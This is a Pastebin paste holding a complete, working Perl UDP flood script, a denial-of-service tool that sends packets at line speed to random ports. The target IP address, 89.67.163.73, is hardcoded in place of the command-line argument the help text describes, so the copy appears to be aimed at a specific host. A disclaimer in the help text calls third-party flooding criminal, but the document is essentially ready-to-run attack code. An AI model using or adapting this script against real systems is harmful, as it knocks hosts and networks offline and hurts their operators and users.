Advertisement
Guest User

Untitled

a guest
Apr 19th, 2015
266
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.90 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #####################################################
  3. # udp flood.
  4. ######################################################
  5.  
  6. use Socket;
  7. use strict;
  8. use Getopt::Long;
  9. use Time::HiRes qw( usleep gettimeofday ) ;
  10.  
  11. our $port = 0;
  12. our $size = 0;
  13. our $time = 0;
  14. our $bw = 0;
  15. our $help = 0;
  16. our $delay= 0;
  17.  
  18. GetOptions(
  19. "port=i" => \$port, # UDP port to use, numeric, 0=random
  20. "size=i" => \$size, # packet size, number, 0=random
  21. "bandwidth=i" => \$bw, # bandwidth to consume
  22. "time=i" => \$time, # time to run
  23. "delay=f"=> \$delay, # inter-packet delay
  24. "help|?" => \$help); # help
  25.  
  26.  
  27. my ($ip) = "89.67.163.73";
  28.  
  29. if ($help || !$ip) {
  30. print <<'EOL';
  31. flood.pl --port=dst-port --size=pkt-size --time=secs
  32. --bandwidth=kbps --delay=msec ip-address
  33.  
  34. Defaults:
  35. * random destination UDP ports are used unless --port is specified
  36. * random-sized packets are sent unless --size or --bandwidth is specified
  37. * flood is continuous unless --time is specified
  38. * flood is sent at line speed unless --bandwidth or --delay is specified
  39.  
  40. Usage guidelines:
  41. --size parameter is ignored if both the --bandwidth and the --delay
  42. parameters are specified.
  43.  
  44. Packet size is set to 256 bytes if the --bandwidth parameter is used
  45. without the --size parameter
  46.  
  47. The specified packet size is the size of the IP datagram (including IP and
  48. UDP headers). Interface packet sizes might vary due to layer-2 encapsulation.
  49.  
  50. Warnings and Disclaimers:
  51. Flooding third-party hosts or networks is commonly considered a criminal activity.
  52. Flooding your own hosts or networks is usually a bad idea
  53. Higher-performace flooding solutions should be used for stress/performance tests
  54. Use primarily in lab environments for QoS tests
  55. EOL
  56. exit(1);
  57. }
  58.  
  59. if ($bw && $delay) {
  60. print "WARNING: computed packet size overwrites the --size parameter ignored\n";
  61. $size = int($bw * $delay / 8);
  62. } elsif ($bw) {
  63. $delay = (8 * $size) / $bw;
  64. }
  65.  
  66. $size = 256 if $bw && !$size;
  67.  
  68. ($bw = int($size / $delay * 8)) if ($delay && $size);
  69.  
  70. my ($iaddr,$endtime,$psize,$pport);
  71. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  72. $endtime = time() + ($time ? $time : 1000000);
  73. socket(flood, PF_INET, SOCK_DGRAM, 17);
  74.  
  75. print "Flooding $ip " . ($port ? $port : "random") . " port with " .
  76. ($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . "\n";
  77. print "Interpacket delay $delay msec\n" if $delay;
  78. print "total IP bandwidth $bw kbps\n" if $bw;
  79. print "Break with Ctrl-C\n" unless $time;
  80.  
  81. die "Invalid packet size requested: $size\n" if $size && ($size < 64 || $size > 1500);
  82. $size -= 28 if $size;
  83. for (;time() <= $endtime;) {
  84. $psize = $size ? $size : int(rand(1024-64)+64) ;
  85. $pport = $port ? $port : int(rand(65500))+1;
  86.  
  87. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  88. usleep(1000 * $delay) if $delay;
  89. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement